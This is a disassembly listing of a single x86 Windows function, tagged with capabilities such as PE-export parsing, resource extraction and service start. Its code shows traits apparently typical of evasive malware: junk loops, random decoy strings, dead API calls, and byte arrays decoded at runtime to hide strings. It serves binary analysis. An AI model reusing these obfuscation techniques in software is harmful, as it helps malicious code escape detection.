Function at 0x41153f
Capabilities:
Authenticate hmac
Extract resource via kernel32 functions
Identify system language via api
Parse pe header
Resolve function by parsing pe exports
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b8fbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x758
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x411586
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x411586
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004108c3
pop ecx
pop ecx
jmp 0x4147fc
cmp dword [ebp + 0x10], 0
jne 0x412b58
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.004053f0
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x2c0], 0x5efe
mov dword [ebp - 0x3f4], str.rvytgob_kqx_ohxmh_pmmknc_qpd_wmfqcastm_qzclt_nxts
cmp dword [ebp - 0x2c0], 0x6258
jle 0x411635
and dword [ebp - 0x110], 0
jmp 0x4115d4
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x2bf0
jge 0x411635
and dword [ebp - 0x1d0], 0
jmp 0x4115f6
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x18b
jge 0x411633
mov eax, dword [ebp - 0x110]
and eax, dword [ebp - 0x1d0]
cdq
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], edx
push dword [ebp - 0x420]
push dword [ebp - 0x424]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x4115e9
jmp 0x4115c7
and dword [ebp - 4], 0
cmp dword [ebp - 0x2c0], 0x5e2b
jge 0x411655
mov edx, dword [ebp - 0x3f4]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x411671
or dword [ebp - 4], 0xffffffff
jmp 0x41167b
mov dword [ebp - 0x32c], 0xf63
mov dword [ebp - 0x4e4], str.mcoki_zfqfg_vav_wbwht_nwtr_tfnkxzzr_kbcr
cmp dword [ebp - 0x32c], 0x1248
jle 0x411723
and dword [ebp - 0x4c], 0
jmp 0x4116ac
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x19d9
jge 0x411723
and dword [ebp - 0x120], 0
jmp 0x4116cb
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x2795
jge 0x411721
mov eax, dword [ebp - 0x4c]
and eax, dword [ebp - 0x120]
cdq
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], edx
push dword [ebp - 0x484]
push dword [ebp - 0x488]
lea ecx, [ebp - 0x720]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x720]
call fcn.00402b1d
jmp 0x4116be
jmp 0x4116a5
mov dword [ebp - 4], 2
cmp dword [ebp - 0x32c], 0xccb
jge 0x411742
push dword [ebp - 0x4e4]
call fcn.0048ca28
pop ecx
jmp 0x41175e
or dword [ebp - 4], 0xffffffff
jmp 0x411768
cmp dword [0xabbee8], 0
jne 0x412b2c
mov dword [ebp - 0x4d4], 0x1f7b
lea eax, [ebp - 0x4d4]
push eax
call fcn.00410537
pop ecx
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x334], 0xf6d
mov dword [ebp - 0x4b8], str.mncaejlby_rawwccdkn_cxb
cmp dword [ebp - 0x334], 0x12b3
jle 0x41181a
and dword [ebp - 0x54], 0
jmp 0x4117bf
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x15ac
jge 0x41181a
and dword [ebp - 0x180], 0
jmp 0x4117de
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x5701
jge 0x411818
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x180]
cdq
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], edx
push dword [ebp - 0x42c]
push dword [ebp - 0x430]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x4117d1
jmp 0x4117b8
mov dword [ebp - 4], 4
cmp dword [ebp - 0x334], 0xec7
jge 0x41183d
mov edx, dword [ebp - 0x4b8]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x411859
or dword [ebp - 4], 0xffffffff
jmp 0x411863
mov byte [ebp - 0x280], 6
mov byte [ebp - 0x27f], 0x74
mov byte [ebp - 0x27e], 2
mov byte [ebp - 0x27d], 0x77
mov byte [ebp - 0x27c], 9
mov byte [ebp - 0x27b], 0x73
mov byte [ebp - 0x27a], 0
mov byte [ebp - 0x279], 0x4e
mov byte [ebp - 0x278], 1
mov byte [ebp - 0x277], 0x6e
mov byte [ebp - 0x276], 3
mov byte [ebp - 0x275], 0x61
mov byte [ebp - 0x274], 8
mov byte [ebp - 0x273], 0x7c
mov byte [ebp - 0x272], 0x24
mov byte [ebp - 0x271], 0x13
mov byte [ebp - 0x270], 0xbe
mov byte [ebp - 0x26f], 0x63
mov byte [ebp - 0x26e], 0xb5
mov byte [ebp - 0x26d], 0x6d
mov byte [ebp - 0x26c], 0xe7
mov byte [ebp - 0x26b], 0x86
mov byte [ebp - 0x26a], 0xb3
mov byte [ebp - 0x269], 0x81
mov byte [ebp - 0x268], 0xc7
mov byte [ebp - 0x267], 0xd7
mov byte [ebp - 0x266], 0x34
mov byte [ebp - 0x265], 0xe4
mov byte [ebp - 0x264], 0x2e
mov byte [ebp - 0x263], 0x2f
mov byte [ebp - 0x262], 0xbb
mov byte [ebp - 0x261], 0xdd
mov byte [ebp - 0x260], 0xd7
mov byte [ebp - 0x25f], 0xb6
mov byte [ebp - 0x25e], 0xe3
mov byte [ebp - 0x25d], 0x6d
mov byte [ebp - 0x25c], 0x53
mov byte [ebp - 0x25b], 5
mov byte [ebp - 0x25a], 0xf3
mov byte [ebp - 0x259], 0x8c
mov byte [ebp - 0x258], 0x43
mov byte [ebp - 0x257], 0x87
mov byte [ebp - 0x256], 0xb3
mov byte [ebp - 0x255], 0xb6
mov byte [ebp - 0x254], 0xca
mov byte [ebp - 0x253], 0x25
mov byte [ebp - 0x252], 0x7e
mov byte [ebp - 0x251], 0xa6
mov byte [ebp - 0x250], 0x42
mov byte [ebp - 0x24f], 0x22
mov byte [ebp - 0x24e], 5
mov byte [ebp - 0x24d], 0x81
mov byte [ebp - 0x24c], 4
mov byte [ebp - 0x24b], 0x76
mov byte [ebp - 0x24a], 0xb
mov byte [ebp - 0x249], 0x8b
mov byte [ebp - 0x248], 0xc
mov byte [ebp - 0x247], 0x6c
mov byte [ebp - 0x246], 7
mov byte [ebp - 0x245], 0x80
mov byte [ebp - 0x244], 0xa
mov byte [ebp - 0x243], 0x5e
mov dword [ebp - 0x2a8], 0x7a6e
mov dword [ebp - 0x364], str.ornsmn_joeyc_cnf_xgtgfvivc_lkqpzba_lhu
cmp dword [ebp - 0x2a8], 0x7b68
jle 0x411ad2
push 0
push 0x208d
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
and dword [ebp - 0x5c], 0
jmp 0x411a55
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x64fa
jge 0x411ad2
and dword [ebp - 0x128], 0
jmp 0x411a74
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x5a22
jge 0x411acd
and dword [ebp - 0x64], 0
jmp 0x411a8d
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x63b6
jge 0x411acb
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x128]
shl eax, cl
mov ecx, dword [ebp - 0x64]
sar eax, cl
cdq
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], edx
push dword [ebp - 0x4dc]
push dword [ebp - 0x4e0]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x411a86
jmp 0x411a67
jmp 0x411a4e
and dword [ebp - 0x14], 0
and dword [ebp - 0x2a0], 0
jmp 0x411ae7
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3e
jae 0x412151
mov dword [ebp - 0x2e8], 0x6cb4
mov dword [ebp - 0x358], str.gcs_wga_wladi_nmpvzc_hscz_bvqft
cmp dword [ebp - 0x2e8], 0x6cea
jle 0x411bd0
and dword [ebp - 0x130], 0
jmp 0x411b2b
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x728c
jge 0x411bd0
and dword [ebp - 0x1b0], 0
jmp 0x411b51
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x4f28
jge 0x411bcb
and dword [ebp - 0x6c], 0
jmp 0x411b6a
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x18ec
jge 0x411bc6
mov ecx, dword [ebp - 0x1b0]
imul ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x130]
shl eax, cl
cdq
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], edx
push dword [ebp - 0x438]
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x708]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x708]
call fcn.00402b1d
jmp 0x411b63
jmp 0x411b44
jmp 0x411b1e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x280]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x411f85
mov dword [ebp - 0x320], 0x480
mov dword [ebp - 0x4ac], str.dwejyav_kisotylw_ntxvf_dwpna_iehnbjzkh_uii_psxivp_ynpdbbuyj
cmp dword [ebp - 0x320], 0x565
jle 0x411c93
and dword [ebp - 0x74], 0
jmp 0x411c1c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x7861
jge 0x411c93
and dword [ebp - 0x188], 0
jmp 0x411c3b
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x5d24
jge 0x411c91
mov eax, dword [ebp - 0x74]
or eax, dword [ebp - 0x188]
cdq
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], edx
push dword [ebp - 0x490]
push dword [ebp - 0x494]
lea ecx, [ebp - 0x738]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x738]
call fcn.00402b1d
jmp 0x411c2e
jmp 0x411c15
mov dword [ebp - 0x2a0], 0x24
mov dword [ebp - 4], 6
cmp dword [ebp - 0x320], 0x431
jge 0x411cbc
push dword [ebp - 0x4ac]
call fcn.0048ca28
pop ecx
jmp 0x411cd8
or dword [ebp - 4], 0xffffffff
jmp 0x411ce2
mov dword [ebp - 0x324], 0x72a9
mov dword [ebp - 0x34c], str.rtzjin_wqpz_hwizru_wosnmktl_emdw_pbv_wqmo
cmp dword [ebp - 0x324], 0x758e
jle 0x411de3
push 0
push 0x2401
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
and dword [ebp - 0x7c], 0
jmp 0x411d22
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x5970
jge 0x411de3
and dword [ebp - 0x138], 0
jmp 0x411d45
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xe00
jge 0x411dde
and dword [ebp - 0x84], 0
jmp 0x411d6b
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x1c49
jge 0x411dd9
and dword [ebp - 0x1c8], 0
jmp 0x411d8d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x57f5
jge 0x411dd7
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x84]
imul ecx, dword [ebp - 0x1c8]
xor eax, ecx
cdq
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], edx
push dword [ebp - 0x444]
push dword [ebp - 0x448]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x411d80
jmp 0x411d5e
jmp 0x411d38
jmp 0x411d1b
mov eax, dword [ebp - 0x14]
add eax, 0x22
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 8
cmp dword [ebp - 0x324], 0x700c
jge 0x411e0f
mov edx, dword [ebp - 0x34c]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x411e2b
or dword [ebp - 4], 0xffffffff
jmp 0x411e35
mov dword [ebp - 0x298], 0x6a21
mov dword [ebp - 0x474], str.zgxistzyi_sffpxdi_apqookz_ajy_eqxqa_cjxxfv_ltgceplr_tcwrkd_slsrsxl_btqghfco_lxcgyea
cmp dword [ebp - 0x298], 0x6d26
jle 0x411f37
and dword [ebp - 0x8c], 0
jmp 0x411e6f
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x1fd3
jge 0x411f37
and dword [ebp - 0x140], 0
jmp 0x411e95
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x834
jge 0x411f32
and dword [ebp - 0x94], 0
jmp 0x411ebb
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x3ad6
jge 0x411f2d
and dword [ebp - 0x190], 0
jmp 0x411edd
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x750d
jge 0x411f2b
mov eax, dword [ebp - 0x8c]
cdq
idiv dword [ebp - 0x140]
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0x190]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], edx
push dword [ebp - 0x4c4]
push dword [ebp - 0x4c8]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x411ed0
jmp 0x411eae
jmp 0x411e88
jmp 0x411e62
jmp 0x411adf
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x2e8], 0x6af5
jge 0x411fa4
push dword [ebp - 0x358]
call fcn.0048ca28
pop ecx
jmp 0x411fc0
or dword [ebp - 4], 0xffffffff
jmp 0x411fca
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x27f]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2a0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jge 0x412004
mov eax, dword [ebp - 0x1b8]
add eax, 0x100
mov dword [ebp - 0x1b8], eax
jmp 0x411fe8
mov dword [ebp - 0x310], 0x7c50
mov dword [ebp - 0x4d8], str.tbjvmlk_pyzny_qarcp_obguz_ezyecoc
cmp dword [ebp - 0x310], 0x7e47
jle 0x4120ef
and dword [ebp - 0x9c], 0
jmp 0x41203e
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x559a
jge 0x4120ef
and dword [ebp - 0x148], 0
jmp 0x412064
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x23ea
jge 0x4120ea
and dword [ebp - 0xa4], 0
jmp 0x412086
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x29c
jge 0x4120e5
mov eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0x148]
and eax, dword [ebp - 0xa4]
cdq
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], edx
push dword [ebp - 0x450]
push dword [ebp - 0x454]
lea ecx, [ebp - 0x768]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x768]
call fcn.00402b1d
jmp 0x412079
jmp 0x412057
jmp 0x412031
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x280]
mov cl, byte [ebp - 0x1b8]
mov byte [ebp + eax - 0x4f4], cl
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x310], 0x7bdb
jge 0x412126
push dword [ebp - 0x4d8]
call fcn.0048ca28
pop ecx
jmp 0x412142
or dword [ebp - 4], 0xffffffff
jmp 0x41214c
jmp 0x411adf
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x2a8], 0x7a3b
jge 0x412174
mov edx, dword [ebp - 0x364]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x412190
or dword [ebp - 4], 0xffffffff
jmp 0x41219a
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x4f4], 0
lea eax, [ebp - 0x4f4]
push eax
lea ecx, [ebp - 0x690]
call fcn.0042decf
mov edx, dword [ebp - 0x28c]
mov ecx, eax
call fcn.004053f0
mov dword [0xabbee8], eax
lea ecx, [ebp - 0x690]
call fcn.00402cd4
and dword [ebp - 0xb4], 0
jmp 0x4121ed
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xe
jae 0x412301
mov dword [ebp - 0x2f0], 0x2458
mov dword [ebp - 0x47c], str.rjsmg_qotswsjg_qoxvhwfqh_pquifhsza
cmp dword [ebp - 0x2f0], 0x2583
jle 0x4122a5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
and dword [ebp - 0xac], 0
jmp 0x412243
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x3272
jge 0x4122a5
and dword [ebp - 0x150], 0
jmp 0x412265
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x7a5c
jge 0x4122a3
mov eax, dword [ebp - 0xac]
imul eax, dword [ebp - 0x150]
cdq
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], edx
push dword [ebp - 0x49c]
push dword [ebp - 0x4a0]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x412258
jmp 0x412236
mov eax, dword [ebp - 0xb4]
mov byte [ebp + eax - 0x4f4], 0
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x2f0], 0x22b7
jge 0x4122d6
mov edx, dword [ebp - 0x47c]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x4122f2
or dword [ebp - 4], 0xffffffff
jmp 0x4122fc
jmp 0x4121e0
mov dword [ebp - 0x2f8], 0x4036
mov dword [ebp - 0x37c], str.yqktaaafr_hgtxcpwtz_ygveocwzw_uarrw
cmp dword [ebp - 0x2f8], 0x4210
jle 0x4123ec
and dword [ebp - 0x158], 0
jmp 0x41233b
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x241d
jge 0x4123ec
and dword [ebp - 0x198], 0
jmp 0x412361
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x156a
jge 0x4123e7
and dword [ebp - 0xbc], 0
jmp 0x412383
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x4954
jge 0x4123e2
mov eax, dword [ebp - 0x198]
add eax, dword [ebp - 0xbc]
and eax, dword [ebp - 0x158]
cdq
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], edx
push dword [ebp - 0x45c]
push dword [ebp - 0x460]
lea ecx, [ebp - 0x5d0]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x5d0]
call fcn.00402b1d
jmp 0x412376
jmp 0x412354
jmp 0x41232e
mov byte [ebp - 0x240], 0xc
mov byte [ebp - 0x23f], 0x74
mov byte [ebp - 0x23e], 9
mov byte [ebp - 0x23d], 0x66
mov byte [ebp - 0x23c], 3
mov byte [ebp - 0x23b], 0x66
mov byte [ebp - 0x23a], 8
mov byte [ebp - 0x239], 0x76
mov byte [ebp - 0x238], 0xa
mov byte [ebp - 0x237], 0x6e
mov byte [ebp - 0x236], 1
mov byte [ebp - 0x235], 0x7d
mov byte [ebp - 0x234], 6
mov byte [ebp - 0x233], 0x5d
mov byte [ebp - 0x232], 0
mov byte [ebp - 0x231], 0x52
mov byte [ebp - 0x230], 4
mov byte [ebp - 0x22f], 0x85
mov byte [ebp - 0x22e], 0xb
mov byte [ebp - 0x22d], 0x86
mov byte [ebp - 0x22c], 0xd
mov byte [ebp - 0x22b], 0x6c
mov byte [ebp - 0x22a], 5
mov byte [ebp - 0x229], 0x7c
mov byte [ebp - 0x228], 2
mov byte [ebp - 0x227], 0x7e
mov byte [ebp - 0x226], 0x20
mov byte [ebp - 0x225], 0xd3
mov byte [ebp - 0x224], 0xa6
mov byte [ebp - 0x223], 0xe8
mov byte [ebp - 0x222], 0x63
mov byte [ebp - 0x221], 0xd9
mov byte [ebp - 0x220], 0xb4
mov byte [ebp - 0x21f], 0x9c
mov byte [ebp - 0x21e], 0xe6
mov byte [ebp - 0x21d], 0xb7
mov byte [ebp - 0x21c], 0x2c
mov byte [ebp - 0x21b], 0x43
mov byte [ebp - 0x21a], 0xa
mov byte [ebp - 0x219], 0x43
mov byte [ebp - 0x218], 0xd9
mov byte [ebp - 0x217], 0x86
mov byte [ebp - 0x216], 0x9f
mov byte [ebp - 0x215], 0xa3
mov byte [ebp - 0x214], 0x9d
mov byte [ebp - 0x213], 0xd3
mov byte [ebp - 0x212], 0x33
mov byte [ebp - 0x211], 0xbd
mov byte [ebp - 0x210], 0x12
mov byte [ebp - 0x20f], 0x68
mov byte [ebp - 0x20e], 0xd5
mov byte [ebp - 0x20d], 0xef
mov byte [ebp - 0x20c], 0x70
mov byte [ebp - 0x20b], 0xae
mov byte [ebp - 0x20a], 0x1f
mov byte [ebp - 0x209], 0
mov byte [ebp - 0x208], 0xb2
mov byte [ebp - 0x207], 0xc9
mov byte [ebp - 0x206], 7
mov byte [ebp - 0x205], 0x8d
mov dword [ebp - 0x2b8], 0x639e
mov dword [ebp - 0x418], str.jiy_cbxya_hsopwsypl_zco_kfibu_ynnxhkr_qtcrm_wnjdm_lmddwdvxf
cmp dword [ebp - 0x2b8], 0x652b
jle 0x412655
push 0x1aa5
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
and dword [ebp - 0xc4], 0
jmp 0x4125d5
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x5f89
jge 0x412655
and dword [ebp - 0x1d8], 0
jmp 0x4125f7
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x3997
jge 0x412650
mov eax, dword [ebp - 0xc4]
or eax, dword [ebp - 0x1d8]
cdq
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], edx
push dword [ebp - 0x4cc]
push dword [ebp - 0x4d0]
lea ecx, [ebp - 0x750]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x750]
call fcn.00402b1d
jmp 0x4125ea
jmp 0x4125c8
and dword [ebp - 0x18], 0
and dword [ebp - 0x2b0], 0
jmp 0x41266a
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3c
jae 0x4127d7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x240]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x4126a0
mov dword [ebp - 0x2b0], 0x20
mov eax, dword [ebp - 0x18]
add eax, 0x1e
mov dword [ebp - 0x18], eax
jmp 0x412662
mov dword [ebp - 0x330], 0x1bef
mov dword [ebp - 0x370], str.lhcc_absy_spdypflxn_fsqnyy_fesl_awi_jmff_vkjvp_jjvpxa_lww_yncxkvc_poexh
cmp dword [ebp - 0x330], 0x1dac
jle 0x412737
and dword [ebp - 0xcc], 0
jmp 0x4126d6
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x757d
jge 0x412737
and dword [ebp - 0x160], 0
jmp 0x4126f8
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x2013
jge 0x412735
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x160]
cdq
mov dword [ebp - 0x46c], eax
mov dword [ebp - 0x468], edx
push dword [ebp - 0x468]
push dword [ebp - 0x46c]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x4126eb
jmp 0x4126c9
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x23f]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2b0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x330], 0x1a84
jge 0x412778
mov edx, dword [ebp - 0x370]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x412794
or dword [ebp - 4], 0xffffffff
jmp 0x41279e
cmp dword [ebp - 0xd4], 0
jge 0x4127ba
mov eax, dword [ebp - 0xd4]
add eax, 0x100
mov dword [ebp - 0xd4], eax
jmp 0x41279e
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x240]
mov cl, byte [ebp - 0xd4]
mov byte [ebp + eax - 0x504], cl
jmp 0x412662
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x2b8], 0x6046
jge 0x4127f6
push dword [ebp - 0x418]
call fcn.0048ca28
pop ecx
jmp 0x412812
or dword [ebp - 4], 0xffffffff
jmp 0x41281c
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x504], 0
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x2f8], 0x3ea2
jge 0x412849
push dword [ebp - 0x37c]
call fcn.0048ca28
pop ecx
jmp 0x412865
or dword [ebp - 4], 0xffffffff
jmp 0x41286f
mov dword [ebp - 0x318], 0x71e6
mov dword [ebp - 0x41c], str.kqootmly_sqbrbke_eqcrn_kqy_jchdisxdu
cmp dword [ebp - 0x318], 0x7562
jle 0x412971
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
and dword [ebp - 0x1a0], 0
jmp 0x4128b3
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x880
jge 0x412964
and dword [ebp - 0xdc], 0
jmp 0x4128d9
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x7f46
jge 0x41295f
and dword [ebp - 0x168], 0
jmp 0x4128fb
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x70d3
jge 0x41295a
mov eax, dword [ebp - 0x1a0]
and eax, dword [ebp - 0xdc]
xor eax, dword [ebp - 0x168]
cdq
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], edx
push dword [ebp - 0x33c]
push dword [ebp - 0x340]
lea ecx, [ebp - 0x600]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x600]
call fcn.00402b1d
jmp 0x4128ee
jmp 0x4128cc
jmp 0x4128a6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
lea eax, [ebp - 0x504]
push eax
lea ecx, [ebp - 0x6c0]
call fcn.0042decf
mov edx, dword [ebp - 0x28c]
mov ecx, eax
call fcn.004053f0
mov dword [0xabbf94], eax
lea ecx, [ebp - 0x6c0]
call fcn.00402cd4
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x318], 0x703c
jge 0x4129bf
push dword [ebp - 0x41c]
call fcn.0048ca28
pop ecx
jmp 0x4129db
or dword [ebp - 4], 0xffffffff
jmp 0x4129e5
mov dword [ebp - 0x2c8], 0x18ba
mov dword [ebp - 0x388], str.lsz_glsp_wcvfi_zelkk_bwfhmg_skicom_vfgy_iejhb_tluhxzht
cmp dword [ebp - 0x2c8], 0x1a66
jle 0x412ab4
and dword [ebp - 0xec], 0
jmp 0x412a1f
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x341b
jge 0x412ab4
and dword [ebp - 0xe4], 0
jmp 0x412a45
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x3339
